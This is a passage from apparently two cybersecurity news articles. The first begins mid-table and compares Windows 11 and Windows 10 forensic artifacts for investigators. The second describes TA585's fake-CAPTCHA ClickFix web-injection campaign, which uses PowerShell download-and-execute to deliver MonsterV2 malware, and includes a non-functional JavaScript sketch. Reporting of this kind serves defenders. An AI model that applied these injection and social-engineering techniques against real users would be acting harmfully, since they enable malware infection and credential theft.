    NTFS Attributes ($STANDARD_INFORMATION)Access timestamp updates only if system volume <128 GB; rename/move/copy behaviors preserve or inherit metadata selectively (e.g., access unchanged on rename/move within volume).Access timestamp always updates on access/rename; copy inherits original metadata; move (intra/inter-volume) updates access to current time; rename sets access to modification time.Timelines more dynamic; requires recalibrating artifact inheritance for file actions, potentially revealing recent manipulations more clearly.
    NTFS Attributes ($FILE_NAME)Timestamps/metadata unchanged on rename, intra-volume move via Explorer, or Recycle Bin placement.Inherits access/modify timestamps and metadata from prior $STANDARD_INFORMATION state for these events.Enhanced tracking of file history; useful for correlating moves/deletions but complicates reconstruction if inheritance masks originals.
    Recall FeatureNot available.Takes periodic screenshots stored as JPEGs in %AppData%\Local\CoreAIPlatform.00\UKP{GUID}\ImageStore; metadata in Exif tags; encrypted SQLite ukg.db with tables (App, WindowCapture, etc.) for events, OCR text, and app dwell times.Goldmine for user/activity reconstruction if enabled (disabled by default in enterprise); exploitable for credential theft despite filters; check registry for activation.
    Notepad ArtifactsNo tab persistence; basic recent files via registry/MRU.Tab states in %LOCALAPPDATA%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\ (TabState/WindowsState); binary files with content, paths, hashes, timestamps for unsaved/saved tabs.Recovers unsaved malicious scripts/logs; parse with tools like notepad_parser; absent if tab saving disabled.
    Program Compatibility Assistant (PCA)Basic logging; no dedicated text files noted.New files in C:\Windows\appcompat\pca: PcaAppLaunchDic.txt (launches via Explorer); PcaGeneralDb*.txt (alternating, errors/exits, UTF-16LE).Tracks legacy app runs (e.g., malware); limited to Explorer launches; Unicode paths break ANSI file.
    Windows Search IndexSingle ESE database: %PROGRAMDATA%\Microsoft\Search\Data\Applications\Windows\Windows.edb (version 9180).Three SQLite databases: Windows-gather.db (file paths via ScopeID), Windows.db (metadata in SystemIndex_1_PropertyStore, table #15), Windows-usn.db (limited value); ESE version 9400 if used.Easier path reconstruction/metadata extraction; detect malware files via indexing; convert FILETIME timestamps.
    Windows TimelineActive feature with ActivitiesCache.db for cross-device activity.Feature removed, but %userprofile%\AppData\Local\ConnectedDevicesPlatform\ActivitiesCache.db persists.Legacy data available on upgrades; no new entries, but useful for historical analysis.
    Registry HivesBaseline structure with ~fewer keys/values.Over 35,000 added/removed keys/values across hives (e.g., SOFTWARE, SYSTEM); no immediate forensic value identified.Monitor for new keys (e.g., Recall management); ongoing research needed for significance.
    Event Logs (e.g., ID 4624)Standard logon fields.Adds Remote Credential Guard field in Pro 22H2+.Better authentication telemetry; aids in detecting advanced logons.
    Other Security/ArtifactsNTLMv1 supported; ReFS limited (no boot); Cortana/IE active; Prefetch/LNK/Amcache/Shellbags unchanged.NTLMv1 discontinued; ReFS bootable with BitLocker; Cortana/IE artifacts remain on upgrades; HVCI/TLS 1.3/DNS over HTTPS default; TPM 2.0 mandatory.Reduces pass-the-hash risks; challenges NTFS-focused tools on ReFS (no $MFT); consistent artifacts ease transitions.

    New Traces In Search Tools

    The Program Compatibility Assistant (PCA), aiding legacy app runs since Windows Vista, logs executions in C:\Windows\appcompat\pca.

    Files like PcaAppLaunchDic.txt track recent launches with UTC timestamps and paths, while PcaGeneralDb0.txt and PcaGeneralDb1.txt alternate for detailed records on errors or exits, though limited to Explorer-launched programs.

    Windows Search has migrated from ESE to three SQLite databases under %PROGRAMDATA%\Microsoft\Search\Data\Applications\Windows.

    Windows-gather.db indexes files with paths reconstructible via ScopeID linkages, while Windows.db stores metadata. These enable quick malware file detection, with timestamps in FILETIME format convertible via tools like DCode.

    Minor updates include ditching NTLMv1 to curb pass-the-hash attacks, removing Timeline artifacts (though databases linger), and expanding ReFS support without $MFT or short names challenging traditional NTFS forensics. Event ID 4624 now flags Remote Credential Guard in logons.

    Kaspersky urges triage tools to integrate these artifacts immediately, as Windows 11’s rise promises richer incident reconstructions amid rising threats.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Kaspersky Details Windows 11 Forensic Artifacts and Changes With Windows 10 for Investigators appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • TA585 Hackers Uses Unique Web Injection Technique to Deliver MonsterV2 Malware Targeting Windows Systems

    ·

    , ,

    The cybersecurity landscape continues to face new threats as sophisticated threat actors develop increasingly complex attack methodologies.

    A newly identified cybercriminal group, designated TA585, has emerged as a significant concern due to its innovative approach to malware distribution and its sophisticated web injection techniques.

    This threat actor operates an entire attack chain independently, from infrastructure management to malware deployment, setting it apart from typical cybercriminal operations that rely on third-party services.

    TA585 primarily utilizes MonsterV2, an advanced multi-functional malware that serves as a remote access trojan, stealer, and loader.

    The malware, which costs between $800-$2000 per month on underground forums, demonstrates the professionalization of cybercrime and represents a premium threat in the current landscape.

    IRS Themed ClickFix Landing leading to MonsterV2, observed on 26 February 2025 (Source – Proofpoint)

    MonsterV2 avoids infecting systems in Commonwealth of Independent States countries and incorporates multiple layers of obfuscation to evade detection.

    The threat actor employs a unique web injection campaign utilizing compromised legitimate websites to serve malware to targeted victims.

    Unlike many other cybercriminal operations that rely on third-party traffic distribution systems, TA585 manages its own filtering mechanisms to ensure real users receive the malicious payload.

    Proofpoint researchers identified this sophisticated operation in April 2025, initially tracking it under the designation “CoreSecThree” based on observed domain patterns and infrastructure characteristics.

    The researchers noted the actor’s evolution from delivering Lumma Stealer to transitioning to MonsterV2 deployment in early May 2025.

    Advanced Web Injection and ClickFix Technique Implementation

    TA585 demonstrates remarkable sophistication in its web injection methodology, utilizing compromised legitimate websites as delivery vectors for the MonsterV2 payload.

    The attack begins when threat actors inject malicious JavaScript into vulnerable websites, creating an overlay system that presents users with fake CAPTCHA verification prompts branded as “Verify you are human” messages.

    ‘Verification’ page owned by the threat actor (Source – Proofpoint)

    The web injection technique leverages a modified version of the ClickFix methodology, originally documented by security researchers in June 2024.

    This approach manipulates users into executing PowerShell commands through social engineering, presenting what appears to be a legitimate verification process.

    The malicious script monitors for Windows+R key combinations from users, creating a reactive web environment that responds to user actions in real-time.

    The attack chain implementation includes sophisticated filtering mechanisms that check multiple system parameters before payload delivery.

    The compromised website continuously beacons to the threat actor’s infrastructure, responding with “Access denied” messages until the PowerShell script successfully completes execution and the malware establishes communication with the command and control server from the same IP address.

    Once this verification occurs, users are redirected to the legitimate website with a “verified=true” parameter, maintaining the illusion of normal browsing behavior.

    The technical implementation involves JavaScript code that creates dynamic overlays on compromised sites:-

    // Example TA585 JavaScript injection pattern
function verifyHuman() {
    // Creates fake CAPTCHA overlay
    displayVerificationPrompt();
    // Monitors for Win+R execution
    monitorKeystrokes();
    // Beacons to command server
    sendBeaconRequest();
}

    The payload delivery mechanism utilizes PowerShell commands that download and execute MonsterV2 directly from actor-controlled infrastructure.

    The malware establishes persistence through multiple techniques, including privilege escalation attempts requesting permissions such as SeDebugPrivilege, SeTakeOwnershipPrivilege, and SeIncreaseBasePriorityPrivilege.

    MonsterV2 implements a unique mutex creation system using the format “Mutant-” which serves as an effective indicator for threat hunting activities.

    The malware configuration utilizes ChaCha20 encryption with embedded LibSodium libraries for secure command and control communications, demonstrating the advanced cryptographic implementations employed by modern malware authors.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post TA585 Hackers Uses Unique Web Injection Technique to Deliver MonsterV2 Malware Targeting Windows Systems appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶